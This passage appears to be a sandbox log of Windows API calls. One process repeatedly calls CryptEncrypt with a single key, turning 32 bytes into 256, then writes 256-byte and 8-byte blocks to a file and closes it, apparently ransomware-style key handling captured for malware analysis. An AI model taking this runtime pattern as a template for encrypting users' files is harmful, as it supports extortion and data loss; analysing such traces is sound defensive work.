lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.037] CloseHandle (hObject=0x2aec) returned 1 [0227.041] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.041] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.041] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.042] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.042] CloseHandle (hObject=0x2aec) returned 1 [0227.045] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.045] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.045] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.045] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.045] CloseHandle (hObject=0x2aec) returned 1 [0227.048] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.049] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.049] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.049] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.049] CloseHandle (hObject=0x2aec) returned 1 [0227.056] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.056] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.057] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.057] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.057] CloseHandle (hObject=0x2aec) returned 1 [0227.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.069] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.069] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.070] CloseHandle (hObject=0x2aec) returned 1 [0227.075] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.075] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.075] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.076] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.076] CloseHandle (hObject=0x2aec) returned 1 [0227.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.091] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.092] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.092] CloseHandle (hObject=0x2aec) returned 1 [0227.109] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.109] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.110] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.110] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.110] CloseHandle (hObject=0x2aec) returned 1 [0227.120] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.120] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.120] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.120] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.121] CloseHandle (hObject=0x2aec) returned 1 [0227.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.132] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.133] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2608*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2608*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.133] CloseHandle (hObject=0x2aec) returned 1 [0227.136] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.136] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.136] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.136] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.136] CloseHandle (hObject=0x2aec) returned 1 [0227.140] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.140] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.141] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.141] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.141] CloseHandle (hObject=0x2aec) returned 1 [0227.148] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.148] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.148] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.148] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.149] CloseHandle (hObject=0x2aec) returned 1 [0227.152] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.152] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.152] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.152] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.152] CloseHandle (hObject=0x2aec) returned 1 [0227.165] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.165] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.165] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.165] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.166] CloseHandle (hObject=0x2aec) returned 1 [0227.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.178] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.178] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.178] CloseHandle (hObject=0x2aec) returned 1 [0227.181] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.181] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.181] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.182] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.182] CloseHandle (hObject=0x2aec) returned 1 [0227.188] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.188] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.189] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.189] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.189] CloseHandle (hObject=0x2aec) returned 1 [0227.194] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.194] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.194] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.194] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.194] CloseHandle (hObject=0x2aec) returned 1 [0227.198] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.198] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.198] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.198] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.198] CloseHandle (hObject=0x2aec) returned 1 [0227.201] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.201] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.201] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.202] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.202] CloseHandle (hObject=0x2aec) returned 1 [0227.204] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.204] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.205] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.205] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.205] CloseHandle (hObject=0x2aec) returned 1 [0227.208] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.208] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.208] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.209] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.209] CloseHandle (hObject=0x2aec) returned 1 [0227.212] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.212] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.212] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.212] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.213] CloseHandle (hObject=0x2aec) returned 1 [0227.215] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, 